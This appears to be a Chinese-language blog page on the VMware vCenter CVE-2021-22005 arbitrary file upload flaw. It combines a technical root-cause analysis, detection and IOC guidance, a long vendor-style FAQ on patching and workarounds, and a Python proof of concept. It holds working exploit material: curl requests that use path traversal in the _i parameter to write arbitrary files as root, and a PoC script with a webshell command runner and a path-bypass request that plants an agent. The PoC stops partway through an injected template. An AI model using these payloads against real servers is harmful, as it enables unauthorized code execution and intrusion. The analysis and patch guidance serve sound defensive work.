VMware vCenter Server任意文件上传漏洞|CVE-2021-22005

VMware vCenter Server任意文件上传漏洞|CVE-2021-22005

目录导航

漏洞描述

2021 年 9 月 21 日,VMware 披露其 vCenter Server 受到分析服务中任意文件上传漏洞 CVE-2021-22005 的影响。对端口 443 具有网络访问权限的恶意网络攻击者可以利用此漏洞在 vCenter Server 上执行任意代码。

2021 年 9 月 24 日,VMware 确认了有关 CVE-2021-22005 正在被广泛利用的报告。安全研究人员还报告对易受攻击的 vCenter Server 和公开可用的漏洞代码进行大规模扫描。由于漏洞利用代码的可用性,CISA 预计此漏洞将被广泛利用。

  • VMware 已确认有关 CVE-2021-22005 正在被广泛利用的报告。
  • 此问题不会影响 vCenter Server 6.5。

缓解措施

为了缓解 CVE-2021-22005,CISA 强烈敦促关键基础架构实体和其他具有受影响 vCenter Server 版本的组织采取以下措施。

VMware CVE-2021-22005 技术和影响分析

Twitter 上的 @testanull 声称 CEIP不是执行的必要条件,这意味着存在多个漏洞(弱点/独立修复)是 CVE-2021-22005 的一部分。

概述

9 月 21 日,VMware 宣布了一个新的 CVSS 9.8 漏洞 CVE-2021-22005,作为VMSA-2021-0020 的一部分——管理员应立即修补vCenter 分析服务中的一个未经身份验证的严重远程代码执行漏洞。

注意:博客文章中基于 cURL 的漏洞利用并未演示直接代码执行,尽管精明的读者可以使用本文中的信息来实现此目标,同时了解一些 Linux 操作系统知识。

关键事实:

  • 几个实体似乎正在使用 VMware 提供的解决方法扫描易受攻击的实例
  • 根本原因与 VMware vCenter 的 CEIP(客户体验改善计划)分析服务中用户提供的请求参数处理不当有关。CEIP 默认为“选择退出”。
  • VMware vCenter 6.7 和 7.0 版受到影响。
  • 确认基于 Linux 的部署可通过代码执行被利用,基于 Windows 的主机很可能可被利用(执行更困难)
  • 漏洞利用需要两个未经身份验证的 Web 请求。
  • 使用简单的搜索查询,Censys 确定公共 Internet 上仅有 7,000 多个服务标识为 VMWare vCenter。3,264台面向 Internet 的主机可能存在漏洞,436 台已打补丁,1,369 台不适用(未受影响的版本)或已应用变通方法。
VMware vCenter Server任意文件上传漏洞|CVE-2021-22005 poc
可通过 Internet 访问的所有 VMware vCenter 主机的位置

技术分析

一个 9.8 CVSS 漏洞通常意味着低复杂度的远程执行,正如来自 first.org 的 CVSSv3 计算器的这个可视化演示:

VMware vCenter Server任意文件上传漏洞|CVE-2021-22005 poc

事实证明,VMware 自己通过他们的变通方法发布了关于该漏洞的重要“线索”,记录在CVE-2021-22005的变通法知识库中:

14)为了确认解决方法已经生效,您可以通过运行以下命令进行测试

curl -X POST “http://localhost:15080/analytics/telemetry/ph/api/hyper/send?_c&_i=test” -d “Test_Workaround” -H “Content-Type: application/json” -v 2>&1 | grep HTTP

这告诉我们易受攻击的特定 API 端点是/analytics/telemetry/ph/api/hyper/send. 需要注意的是,上面的服务端口 (15080) 是分析服务的内部端口,尽管 vCenter Web 端口 (443) 直接代理对该服务的请求。您可以简单地将相同的请求发送到 https 端点以实现执行。因此,根据 VMware 的提示,让我们分析修复的内容。

发现根本原因

为了查看软件易受攻击版本和非易受攻击版本之间的差异,我们从 VMWare 网站下载了两个 ISO。根据解决方法 KB,VMWare 在 18356314 (7.0U2c) 版本中发布了修补版本。因此获取了以下两个 ISO:

  • 漏洞版本:v17958471 ( 7.0U2b ) 从 2021 年 5 月 25 日
  • 补丁版本:v18455184 ( 7.0U2d ) 自 2021 年 9 月 21 日起

这些 ISO 文件包含大量库文件,因此为避免读者感到无聊,我们将跳过并注意感兴趣的修补文件位于 VMware 分析服务的 RPM 文件中:

  • VMware-analytics-7.0.2.00400-9102561.x86_64.rpm(已修补,RPM 来自 18455184)
  • VMware-analytics-7.0.2.00000-8630354.x86_64.rpm(未打补丁,RPM 来自 17958471)

有了这些,我们可以提取 RPM 内容:

rpm2cpio <RPMFILE> | cpio -idmv

这将在当前目录中生成一个文件系统结构:

$ ls
etc  usr  var 

$ find etc
etc
etc/vmware
etc/vmware/appliance
etc/vmware/appliance/firewall
etc/vmware/appliance/firewall/vmware-analytics
etc/vmware/vm-support
etc/vmware/vm-support/analytics-noarch.mfx
etc/vmware/backup
etc/vmware/backup/manifests
etc/vmware/backup/manifests/analytics.json
...

$ find usr
find usr
usr
usr/lib
usr/lib/vmware-analytics
usr/lib/vmware-analytics/lib
usr/lib/vmware-analytics/lib/dataapp.txt
usr/lib/vmware-analytics/lib/vimVersions-7.0.2.jar
usr/lib/vmware-analytics/lib/cls-vmodl2-bindings-7.0.2.jar
usr/lib/vmware-analytics/lib/jcabi-log-0.17.jar
usr/lib/vmware-analytics/lib/analytics-push-telemetry-vcenter-7.0.2.jar
usr/lib/vmware-analytics/lib/analytics-common-vapi-7.0.2.jar
...

现在我们可以使用 unzip 将类文件中的内容提取到 /tmp 中,并比较打补丁和未打补丁的版本,搜索对“hyper”的引用:

grep -lr hyper /tmp/unpatched/
/tmp/unpatched/com/vmware/vim/binding/vim/host/CpuSchedulerSystem.class
/tmp/unpatched/com/vmware/vim/binding/vim/host/ConfigInfo.class
/tmp/unpatched/com/vmware/vim/binding/vim/vm/device/VirtualVMCIDevice$Protocol.class
/tmp/unpatched/com/vmware/analytics/vapi/TelemetryDefinitions.class
/tmp/unpatched/com/vmware/ph/upload/rest/PhRestClientImpl.class
/tmp/unpatched/com/vmware/ph/phservice/push/telemetry/server/AsyncTelemetryController.class
/tmp/unpatched/com/vmware/ph/phservice/common/ph/RtsUriFactory.class

拥有开发经验(尤其是 Java 和 Spring)将对此有很大帮助,因为通常,API 端点将由基于模型-视图-控制器 (MVC) 的架构中的“控制器”处理。我们可以在这里查看的最有趣的类是AsyncTelemetryController. 比较Java 类文件上CFR反编译器的输出,我们能够确定以下函数已更改为:

private Callable<ResponseEntity<Void>> handleSendRequest(final TelemetryService telemetryService, final RateLimiterProvider rateLimiterProvider, HttpServletRequest httpRequest, String version, final String collectorId, final String collectorInstanceId) throws IOException {
        final TelemetryRequest telemetryRequest = AsyncTelemetryController.createTelemetryRequest(httpRequest, version, collectorId, collectorInstanceId);
        return new Callable<ResponseEntity<Void>>(){

            @Override
            public ResponseEntity<Void> call() throws Exception {
                if (!AsyncTelemetryController.this.isRequestPermitted(collectorId, collectorInstanceId, rateLimiterProvider)) {
                    return new ResponseEntity(HttpStatus.TOO_MANY_REQUESTS);
                }
                telemetryService.processTelemetry(telemetryRequest.getCollectorId(), telemetryRequest.getCollectorIntanceId(), new TelemetryRequest[]{telemetryRequest});
                return new ResponseEntity(HttpStatus.CREATED);
            }
        };
    }

对以下内容

private Callable<ResponseEntity<Void>> handleSendRequest(final TelemetryService telemetryService, final RateLimiterProvider rateLimiterProvider, HttpServletRequest httpRequest, String version, final String collectorId, final String collectorInstanceId) throws IOException {
        final TelemetryRequest telemetryRequest = AsyncTelemetryController.createTelemetryRequest(httpRequest, version, collectorId, collectorInstanceId);
        return new Callable<ResponseEntity<Void>>(){

            @Override
            public ResponseEntity<Void> call() throws Exception {
                if (!AsyncTelemetryController.this.isRequestPermitted(collectorId, collectorInstanceId, rateLimiterProvider)) {
                    return new ResponseEntity(HttpStatus.TOO_MANY_REQUESTS);
                }
                if (!IdFormatUtil.isValidCollectorInstanceId(collectorInstanceId) || !AsyncTelemetryController.this._collectorIdWhitelist.contains(collectorId)) {
                    _log.debug((Object)String.format("Incorrect collectorId '%s' or collectorInstanceId '%s'. Returning 400.", LogUtil.sanitiseForLog(collectorId), LogUtil.sanitiseForLog(collectorInstanceId)));
                    return new ResponseEntity(HttpStatus.BAD_REQUEST);
                }
                telemetryService.processTelemetry(telemetryRequest.getCollectorId(), telemetryRequest.getCollectorIntanceId(), new TelemetryRequest[]{telemetryRequest});
                return new ResponseEntity(HttpStatus.CREATED);
            }
        };
    }

当 HTTP POST 请求发送到/ph-stg/api/hyper/send或时执行此函数/ph/api/hyper/send。除了原来的限速检查 ( isRequestPermitted(collectorId, collectorInstanceId, rateLimiterProvider)) 之外,我们还可以看到两个新的条件:

  • !IdFormatUtil.isValidCollectorInstanceId(collectorInstanceId) 
    • 一个简单的基于正则表达式的检查 ( [\w-]) 来断言收集器实例 ID(_i 查询参数)的格式是有效的,并且不包含无效字符。
  • !AsyncTelemetryController.this._collectorIdWhitelist.contains(collectorId)
    • 确保在collectorIdWhitelist数组中找到传入的收集器 ID 。

为了对新collectorIdWhitelist数组进行填充,向/etc/vmware-analytics/phservice.properties 中添加了以下新属性:

ph.collectorId.whitelist=vsphere.wcp.tp_1_0_0, SVC.1_0, SVC.1_0_U1, vsphere.gcm.1_0_0, vCSA.7_0, \
  vCSA.7_0_1, vc_vcls.7_0_U2, vc_vlcm_dnp_7.0, vvts.7_0, vSphere.vapi.6_7, vSphere.vpxd.vmprov.6_7, \
  vcenter-all.vpxd.drs.7_0u1, vcenter-all.vpxd.hdcs.7_0u2, h5c.6_8, vcenter_postgres, \
  vc_lcm_api_stage2.6_7, vCSACLI.7_0_2, multisddc.1, hlm, hlm_gateway, vlcm.7_0_2, vlcm.7_0_3, testPush.1_0

调查exp

了解 AsyncTelemetryController 中的新条件使得漏洞开发变得微不足道。实际上,您是在要求 VMware 的未经身份验证的分析服务(从 vCenter 的其他组件收集遥测数据以报告给 VMware 的云)以您选择的路径将文件写入磁盘。当数据被发送到遥测服务时,它首先被写入到日志文件log4j2/var/log/vmware/analytics/stage(如果使用/ph-stg端点),或者/var/log/vmware/analytics/prod(如果使用/ph端点)。

我们可以通过查看 LogTelemetryService 类来了解文件名是如何生成的:

@Override
    public Future<Boolean> processTelemetry(String collectorId, String collectorInstanceId, TelemetryRequest[] telemetryRequests) {
        ThreadContext.put((String)CTX_LOG_TELEMETRY_DIR_PATH, (String)this._logDirPath.normalize().toString());
        ThreadContext.put((String)CTX_LOG_TELEMETRY_FILE_NAME, (String)LogTelemetryUtil.getLogFileNamePattern(collectorId, collectorInstanceId));
        for (TelemetryRequest telemetryRequest : telemetryRequests) {
            this._logger.info(LogTelemetryService.serializeToLogMessage(telemetryRequest));
        }
        return new ResultFuture<Boolean>(Boolean.TRUE);
    }

序列化调用processTelemetry对于二次利用来说是无趣的(意味着没有机会使用反序列化小工具执行代码),因为它只是将请求中捕获的 POST 正文内容直接写入文件。

但是,用户控制 log4j2 最终用于写入文件的文件名。因此,在我们的_i参数中精心设计的值可能会导致文件写入磁盘上的任意路径。在我们的测试中,必须启用 CEIP(客户体验改善计划)才能使该漏洞利用,因为遥测代码会检查 CEIP 服务注册状态,如果禁用则失败。

事不宜迟,漏洞利用需要两个阶段:

首先,必须创建遥测“收集器”,使用/作为前缀以_i在下面创建目录/var/log/vmware/analytics/prod(创建随机命名的文件,例如/var/log/vmware/analytics/prod/_c_i/1234.json):

curl -kv "https://$VCENTER_HOST/analytics/telemetry/ph/api/hyper/send?_c=&_i=/$RANDOM" -H Content-Type: -d ""

这样做时,服务器将创建一个目录/var/log/vmware/analytics/prod/,其格式为getLogFileNamePattern例如,_c=&_i=/stuff将解析为:/var/log/vmware/analytics/prod/_c_i/stuff.json,如果_c_i/子目录不存在于/var/log/vmware/analytics/prod/,则此时会创建。

然后我们发送有效负载,它将以 root 用户身份在文件系统的任何位置写入任意 json 文件。如果路径中的任何父目录不存在,也会创建它们。

curl -kv "https://$VCENTER_HOST/analytics/telemetry/ph/api/hyper/send?_c=&_i=/../../../../../../tmp/foo" -H Content-Type: -d 'contents here will be directly written to /tmp/foo.json as root'

使用我们第一个请求的示例,服务器将其视为:/var/log/vmware/analytics/prod/_c_i/../../../../../../tmp/foo.json它将写入请求的内容。请求正文中的内容(由 -d 表示)将按原样直接写入文件(内容本身不要求为 JSON)

一旦文件被写入,最后一步是找到一个外部机制来执行文件中包含的数据。这并不困难,因为在基于 Linux 的操作系统中有很多众所周知的位置,可以读取具有任何扩展名的文件并执行其内容。Censys 已确认执行,但不会发布这最后一步,以便让防御者有更多时间进行修补。感谢西弗吉尼亚大学为解决此问题的细节共同发现Rapid7的。

识别漏洞

VMware 的解决方法提到了一个 cURL 请求(也在他们的 python 缓解脚本中),可以发送它来识别哪些主机易受攻击:

curl -X POST "http://localhost:15080/analytics/telemetry/ph/api/hyper/send?_c&_i=test" -d "Test_Workaround" -H "Content-Type: application/json" -v 2>&1 | grep HTTP

但是,此请求将在 analytics/prod 日志目录中创建一个文件。此外,此端点不会确定是否启用了 CEIP。如果 CEIP 被禁用,在我们的测试中,易受攻击的代码路径将退出(带有 201/Created)。我们的理论是,在启用 CEIP 后禁用它可能无法完全消除漏洞,因为 VMware 分析代码包含可能无法刷新的缓存机制。

可以针对 /analytics/telemetry/ph/api/level 端点执行更相关的 cURL 请求,这不会创建文件:

curl -k -v "https://$VCENTER_HOST/analytics/telemetry/ph/api/level?_c=test"
  • 如果服务器以 200/OK 和响应正文中除“OFF”以外的任何内容(例如“FULL”)进行响应,则它很容易受到攻击。 
  • 如果它以 200/OK 和“OFF”的正文内容响应,则它很可能不易受到攻击,并且也未修补且未应用任何变通方法。
  • 如果它以 400/Bad Request 响应,则对其进行修补。此检查利用以下事实:修补的实例将根据已知/接受的收集器 ID 列表检查收集器 ID (_c)。 
  • 如果它以 404 响应,则它要么不适用,要么已应用解决方法。该解决方法会禁用受影响的 API 端点。
  • 任何其他状态代码可能暗示不适用。

识别ioc

识别 ioc 很简单。查找在/var/log/vmware/analytics/prod/var/log/vmware/analytics/stage目录下创建的目录。如果那里有子目录,则攻击者很可能对您的主机执行了漏洞利用。这假设参与者在执行后没有通过删除目录来清理他们的操作。如果这些目录不存在,则您可能禁用了 CEIP。

现在我该怎么做?

这个漏洞,就像几个月前的“updateova”问题一样,相当关键。组织应尽快修补其 vCenter 实例。该补丁似乎成功解决了该问题。 

问题和答案

谁受到影响?

VMware 安全公告将始终列出受影响的特定受支持产品和版本。在这种情况下,它是 vCenter Server 6.5、6.7 和 7.0

我什么时候需要行动?

立即,此漏洞的后果是严重的。

随着勒索软件的威胁迫在眉睫,最安全的立场是假设攻击者可能已经通过使用网络钓鱼或鱼叉式网络钓鱼等技术控制了桌面和用户帐户,并采取相应的行动。这意味着攻击者可能已经能够从企业防火墙内部访问 vCenter Server,时间至关重要。

使用 ITIL 变更类型定义实践变更管理的组织会认为这是“紧急变更”。所有环境都不同,对风险的容忍度不同,并具有不同的安全控制和纵深防御来降低风险,因此如何继续由您决定。但是,鉴于严重性,我们强烈建议您采取行动。

为什么我需要行动?

VMSA 概述了在此修补程序版本中解决的几个问题。最紧急的解决了 CVE-2021-22005,这是一个文件上传漏洞,可用于在 vCenter Server Appliance 上执行命令和软件。无论 vCenter Server 的配置设置如何,任何可以通过网络访问 vCenter Server 以获取访问权限的人都可以利用此漏洞。

其他问题的 CVSS 分数较低,但仍然可能被已经在您组织网络中的攻击者使用。当今 IT 面临的最大问题之一是,攻击者通常会破坏公司网络上的桌面和/或用户帐户,然后耐心而安静地使用它在很长一段时间内闯入其他系统。他们窃取机密数据和知识产权,最后安装勒索软件并勒索受害者。不太紧急的安全漏洞仍然可能成为攻击者手中的潜在工具,因此 VMware 始终建议修补以将其删除。

大多数组织采用良好的安全策略,例如纵深防御、零信任和隔离、良好的密码和帐户卫生等,当安全漏洞被披露时,这些策略会大有帮助。

远程代码执行 (RCE) 漏洞是指可以通过网络(在本例中为 vCenter Server)访问受影响软件的攻击者可以对其执行命令并绕过适当的安全控制。这使得外围防火墙控制和 vCenter Server VAMI 防火墙控制成为解决此问题的最后一道防线,直到问题得到修复。

将 vCenter Server 放置在可从 Internet 直接访问的网络上的组织可能没有这道防线,应审核其系统是否受到攻击。他们还应该采取措施在其基础设施的管理界面上实施更多的外围安全控制(防火墙、ACL 等)。

对其虚拟化基础架构管理界面具有外围安全控制的组织可能仍处于危险之中。勒索软件团伙一再向全世界证明,他们能够破坏企业网络,同时保持极其耐心,等待新的漏洞从网络内部发起攻击。这不是 VMware 产品独有的,但它确实为我们提供了此处的建议。作为实施现代零信任安全策略的努力的一部分,组织可能希望考虑在其 IT 基础设施和其他公司网络之间进行额外的安全控制和隔离。

我该怎么做才能保护自己?

VMware vCenter Server任意文件上传漏洞|CVE-2021-22005 poc

首先,检查 VMSA 以确保您运行的是受影响的 vCenter Server 版本。例如,更新到 vCenter Server 7.0 Update 2c 的组织可能不会受到严重漏洞的影响。

如果您可以修补 vCenter Server,请执行此操作。通常,这是解决此问题的最快方法,不涉及在 vCenter Server Appliance (VCSA) 上编辑文件,并完全消除漏洞。与使用变通方法相比,修补还带来更少的技术债务和更低的风险。

如果您不能立即修补,VMSA 会提供针对关键漏洞的解决方法,但仅限于关键漏洞。这涉及编辑 VCSA 上的文本文件并重新启动服务,并记录为上述 VMSA 链接的一部分。

您的环境中可能有其他安全控制措施,可以帮助保护您,直到您能够修补为止。例如,使用网络外围访问控制或 vCenter Server Appliance 防火墙来限制对 vCenter Server 管理界面的访问。我们始终强烈建议将 vCenter Server、ESXi 和 vSphere 管理界面的访问权限限制为仅限 vSphere 管理员。通过 VM 网络连接驱动所有其他工作负载管理活动。这简化了访问控制并使 RDP 或 ssh 管理流量受制于其他安全控制,例如 IDS/IPS 和监控。

在这个勒索软件时代,最安全的做法是假设攻击者已经在您的网络中某处,在桌面上,甚至可能控制着用户帐户,这就是为什么我们强烈建议您尽快宣布紧急更改和修补程序。

这是在“野外”被利用了吗?

VMware 已确认有关 CVE-2021-22005 正在被广泛利用的报告。

我可以禁用 CEIP 来解决这些问题吗?

禁用 CEIP 将无法有效防止利用 CEIP(分析)服务中的漏洞。应建议客户查看 KB85717 以实施有效(但临时)的解决方法,以防止在不影响功能的情况下利用 CEIP 服务中的已知漏洞。

此变通办法仅作为一种短期保护,以防止在执行到固定版本的升级时利用 VMSA-2021-0020 中最严重的漏洞。需要尽快执行升级,不应依赖该变通方法作为长期修复策略。

我可以使用 vSphere Client UI 禁用受影响的服务吗?

通过 UI 和 API 禁用 CEIP 并不能缓解这些漏洞。请修补 vCenter Server 或使用解决方法,直到您可以修补为止。我们强烈建议尽快应用补丁。

如果我不使用 CEIP,我还会受到影响吗?

是的。

VMSA-2021-0020 中的所有问题是否都通过变通办法得到缓解?

不,只有关键漏洞 (CVE-2021-22005) 得到缓解。客户应评估其他问题并确定应用变通办法是否足够或是否需要修补。如有疑问,我们敦促客户尽快应用补丁并关闭漏洞。

如果解决方法不能解决其他问题,我是否仍然容易受到攻击?

所有漏洞,即使是那些 CVSS 分数较低的漏洞,都是攻击者手中的工具。我们敦促客户立即修补 vCenter Server。

为什么您没有其他漏洞的解决方法?

在可能的情况下,VMware 仅针对关键漏洞发布解决方法。

充其量,变通方法是临时解决方案,可以在修补开始之前购买一小段时间。他们依赖于以非预期方式编辑文件和更改 vSphere,如果出现错误,可能会导致严重问题。对于没有深厚 UNIX 经验的 vSphere 管理员来说,变通办法也往往更具挑战性。仅使用 UNIX 文本编辑器可能是一个挑战。

修补 vCenter Server 更加直接,可以通过 API 或 UI 完成,不会引入人为错误,不会产生其他操作问题,并且应该已经是组织中的既定流程。

如果我使用变通方法,是否需要将其应用于 Platform Services Controller (PSC)?

是的,Platform Services Controller (PSC) 被视为 vCenter Server 的一部分,也需要应用解决方法。

修补程序和/或解决方法是否适用于基于 Windows 的 vCenter Server 安装?

是的,基于 Windows 的 vCenter Server 也受此影响。

权宜措施是否会影响 vSphere 的 vSAN Health 或 Skyline Health?

不,解决方法允许这些服务继续向客户提供主动建议。

我是否必须修补 ESXi 主机?

虽然我们建议保持所有产品的最新更新,但此漏洞仅影响 vCenter Server。

作为此版本的一部分,ESXi 有相应的更新,其中包含最新的错误修复。按照传统的 vSphere 修补指南,始终首先修补 vCenter Server(和 Platform Services Controller)。在这种情况下,这将减轻直接威胁。

是否存在未在 VMSA 或本常见问题解答中列出的潜在解决方案或变通方法?

修补是从环境中消除漏洞的唯一方法,我们强烈建议对 vCenter Server 进行修补。VMSA 和知识库文章概述了 VMware 支持的解决方法。根据环境以及作为组织纵深防御战略一部分可用的任何其他安全控制措施,其他临时解决方法可能可用。

我已经实施了解决方法。修补后,是否需要回滚解决方法设置?

否 – 补丁将更新变通方法更改的内容。

补丁会重新启用禁用的服务吗?

是的,这些服务旨在在产品中运行,并将重新启用。

我可以只对 vCenter Server 设置防火墙而不是修补或使用解决方法吗?

所有组织都有不同的环境和需求。我们建议将外围防火墙作为我们基准安全指南的一部分,只允许 vSphere 管理员进入环境。对于这种情况,这是否是一种适当的解决方法,需要您和您的信息安全人员来评估。

vCenter Server Appliance (VCSA) 具有防火墙功能,可通过虚拟设备管理界面 (VAMI) 访问。此防火墙可用于帮助限制对 vCenter Server 的访问,并可能有助于缓解此类漏洞。

大多数环境在限制对 vSphere 管理界面的访问时遇到的最大问题是这会阻止使用 VM 控制台。但是,正如大多数组织不会让组织中的每个人都访问数据中心服务器的物理控制台一样,我们不建议客户允许每个人访问核心基础架构管理。相反,将虚拟机和工作负载管理活动朝着 RDP 和 SSH 的方向直接驱动到工作负载本身。通过这种方式,这些管理连接更容易保护(尤其是通过 NSX-T 的分布式防火墙)、更彻底的监控(vRealize Log Insight 和 vRealize Network Insight),并且可以通过 IDS 和 IPS 等工作负载网络安全控制直接审查系统。

我使用的是第三方解决方案,例如 Dell EMC VxRail、HPE SimpliVity 等。应用变通方法或补丁对我来说安全吗?

VMware 为我们的产品所拥有的庞大生态系统和社区感到自豪,我们认为这对我们和我们的客户来说确实是一项资产。不幸的是,我们不能谈论我们合作伙伴的解决方案,他们也不希望我们这样做!我们是自己产品的专家,不一定是他们的。

Dell EMC VxRail、HPE SimpliVity 甚至 VMware Cloud Foundation 等工程和集成解决方案控制其补丁级别和配置,作为其资格和测试流程的一部分。使用未明确针对该产品和产品版本的安全指南绝不是一个好主意。虽然我们在自己的 VMSA 材料中介绍了 VMware Cloud Foundation,但如果有其他解决方案,您必须直接联系这些供应商以获取指导。

VMware Cloud Foundation 会有补丁吗?

是的,请遵循 VMSA 和知识库中的指导。

VMSA 表示,该严重漏洞已针对较早发布的 7.0 U2c 中的 vSphere 7 进行了修复。如果我在运行步,那我安全吗?

如果您正在运行受影响组件的修复版本或更新版本,您将不会受到该特定漏洞的影响。

此 VMSA 中存在多个漏洞,因此我们敦促客户仔细检查该列表,以确定它们的暴露程度和修补需求。

vCenter Server 7.0.2 U2d 是否包含 7.0.2 U2c 中的所有修复?

是的,除非特别注明(例如使用热补丁),否则 VMware 产品的所有补丁和更新都是累积的安全更新。

某些补丁版本在其版本中标有“”,表明它们仅包含最新的安全更新。这些纯安全补丁比完整补丁落后一个版本。例如,7.0cs 版本是 7.0b + 当前安全修复。7.0ds 是 7.0c + 安全修复等。

在可能的情况下,我们鼓励客户应用完整补丁,因为该补丁包含可改善其环境的其他修复程序。安全不仅仅是机密性,还包括完整性和可用性(CIA 三合会!)。

发布这些问题的修复程序与披露漏洞的时间之间存在差距。你为什么不立即告诉客户?

安全专业人员和技术供应商之间有一个流程和模型,称为“负责任的披露”。在此模型中,安全研究人员和供应商同意供应商需要合理的时间来修复问题。一旦修复公开可用,每个人都可以谈论它。

当安全研究人员公开披露问题时,攻击者将开始使用它。这种模式让善良的力量有机会首先对此做一些事情,同时仍然确保研究人员的工作获得赞誉,并通过确保整个社区(不仅仅是威胁行为者)可以访问这些信息来保持平衡)。

VMware 只是参与此披露模型的众多公司之一,您可以在整个行业中看到它的证据。

 解决漏洞的过程可长可短,取决于许多不同的因素。问题的严重性、修复的复杂性、是否存在已知的“野外”漏洞利用,以及我们在产品发布周期中所处的位置,这些只是影响时间的一些因素。当所有受支持的产品发布版本都发布了修复程序时,VMware 会披露漏洞。

我有关于产品和/或流程的反馈,我应该如何给你?

VMware 感谢您对我们的产品和流程的所有反馈。您有两个很好的反馈选择。首先,如果您使用的是 vSphere 7,则 vSphere Client 的右上角有一个反馈机制(笑脸,尽管我们意识到您目前可能不会分享这种情绪,我们理解)。单击它,它允许您将直接的产品反馈提交到票务系统,使我们能够跟踪您的建议并确定其优先级。

或者,联系您的客户经理、解决方案工程师或技术客户经理。他们有代表您向这些系统提交反馈的流程。

请帮助我们帮助您 – 由于客户提出的建议,已经发生了许多功能和改进。如果我们能让您的生活更美好,请告诉我们如何做。

VMware 是否对这些安全问题采取了任何措施?

我们的产品团队总是查看漏洞周围的情况,以了解为什么我们的安全开发流程没有发现该问题。我们对自己的流程进行了改进,以帮助未来的发布。

VMware 通常专注于产品安全功能,并且通常避免对人们应该如何经营业务做出规定性或固执己见的声明。然而,安全是一个非常受流程驱动的领域,由于没有明确展示最佳实践,我们给许多客户留下了空白,他们对安全知识的了解不如他们现在可能需要的那样。我们正在努力通过更具规范性的指南来解决这个问题,这在vSphere 安全配置指南的更新中已经很明显了。

由于这些问题,vSphere 会发生变化吗?

绝对是的,但我们不能公开评论产品期货。作为补丁和更新版本的一部分,可以进行较小的改进。必须在主要版本发布时进行重大更改,以保持与我们的大型产品生态系统和合作伙伴的兼容性。

我正在为 vSphere 运行特定版本的热补丁。我能否获得带有修复程序的新热补丁?

VMware 强烈建议为 VMSA 中列出的版本或更新的版本打补丁,因为完整的补丁版本是累积性的。如果您正在运行 vCenter Server 热补丁并且无法更新,建议您按照 VMSA 中的解决方法说明进行操作。

此咨询和更新版本特定于 vCenter Server。ESXi 不受影响。

为 VMSA-2021-0020 发布的补丁是否包含针对以前 VMSA 的修复?

是的,除非特别注明(例如使用热补丁),否则 VMware 产品的所有补丁和更新都是累积的安全更新。

某些补丁版本在其版本中标有“”,表明它们仅包含最新的安全更新。这些纯安全补丁比完整补丁落后一个版本。例如,7.0cs 版本是 7.0b + 当前安全修复。7.0ds 是 7.0c + 安全修复等。

在可能的情况下,我们鼓励客户应用完整补丁,因为该补丁包含可改善其环境的其他修复程序。安全不仅仅是机密性,还包括完整性和可用性。

如果我修补 VMware vCenter Server 是否会影响集群中正在运行的工作负载?

不可以。vCenter Server 是 vSphere 集群的管理界面。您将无法在更新期间短暂地管理 vSphere,也无法连接到 VM 控制台,但工作负载将保持正常运行。

这是变更经理和审批委员会需要注意的重要事项,他们可能不了解 vSphere 并可能认为补丁会破坏工作负载。

是否可以在不升级 Cloud Foundation 的情况下将 vSphere 补丁应用于我的 VMware Cloud Foundation 部署?

客户需要使用官方 VCF 捆绑包和流程升级到正确的 VCF 版本。如果这不可能,请酌情考虑使用变通方法或其他安全控制。请使用 VMSA 和知识库文章中概述的过程。

哪些版本有这些修复?

请使用 VMSA 来确定您需要的产品版本。

我正在升级到 vSphere 7。这些更新是否会导致升级的“回到过去”版本限制问题?

此特定更新不会导致“回到过去”升级问题。

有关“回到过去”问题和兼容性矩阵的更多信息,访问 https://kb.vmware.com/s/article/67077

VMSA-2021-0020 中涉及哪些 CVE 编号?

VMSA 是 CVE 和 CVSSv3 严重性评分的权威指南。

CVE-2021-21991、CVE-2021-21992、CVE-2021-21993、CVE-2021-22005、CVE-2021-22006、CVE-2021-22007、CVE-2021-220209、CVE-2021-220209 2021-22010、CVE-2021-22011、CVE-2021-22012、CVE-2021-22013、CVE-2021-22014、CVE-2021-22015、CVE-2021-2202012、CVE-2021-2202012-12、CVE-22012-12 22018、CVE-2021-22019、CVE-2021-22020

我有外部平台服务控制器 (PSC)。他们需要打补丁吗?

是的,Platform Services Controller (PSC) 被视为 vCenter Server 的一部分,必须在 vCenter Server 之前更新。

我使用 vCenter Server HA。我是否需要更新见证节点和辅助 vCenter Server?

是的,这些都被视为 vCenter Server 的一部分,应在应用 vCenter Server 修补程序时随时更新。

CVE-2021-22005 PoC

import requests
import random
import string
import sys
import time
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))
def escape(_str):
    _str = _str.replace("&", "&amp;")
    _str = _str.replace("<", "&lt;")
    _str = _str.replace(">", "&gt;")
    _str = _str.replace("\"", "&quot;")
    return _str

def run_shell(url, pwd, cmd):
    burp0_url = url 
    burp0_headers = {"User-Agent": "Mozilla/5.0", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}
    burp0_data = {pwd: cmd.strip()}
    ct = requests.post(burp0_url, headers=burp0_headers, data=burp0_data, verify=False).content
    ct = ct.split('<pre>')[1].split('</pre>')[0]
    return ct

def createAgent(url, agent_name):
    burp0_url = url + "/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c="+agent_name+"&_i=test2"
    burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0", "X-Deployment-Secret": "abc", "Content-Type": "application/json", "Connection": "close"}
    burp0_json={"manifestSpec":{}, "objectType": "a2", "collectionTriggerDataNeeded":  True,"deploymentDataNeeded":True, "resultNeeded": True, "signalCollectionCompleted":True, "localManifestPath": "a7","localPayloadPath": "a8","localObfuscationMapPath": "a9"  }
    requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)

pwd = id_generator(6)
agent_name = id_generator(6)
shell_name = id_generator(6)+".jsp"
manifestData = """<manifest recommendedPageSize="500">
   <request>
      <query name="vir:VCenter">
         <constraint>
            <targetType>ServiceInstance</targetType>
         </constraint>
         <propertySpec>
            <propertyNames>content.about.instanceUuid</propertyNames>
            <propertyNames>content.about.osType</propertyNames>
            <propertyNames>content.about.build</propertyNames>
            <propertyNames>content.about.version</propertyNames>
         </propertySpec>
      </query>
   </request>
   <cdfMapping>
      <indepedentResultsMapping>
         <resultSetMappings>
            <entry>
               <key>vir:VCenter</key>
               <value>
                  <value xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="resultSetMapping">
                     <resourceItemToJsonLdMapping>
                        <forType>ServiceInstance</forType>
                     <mappingCode><![CDATA[
                        
                        #set($modelKey = $LOCAL-resourceItem.resourceItem.getKey())##
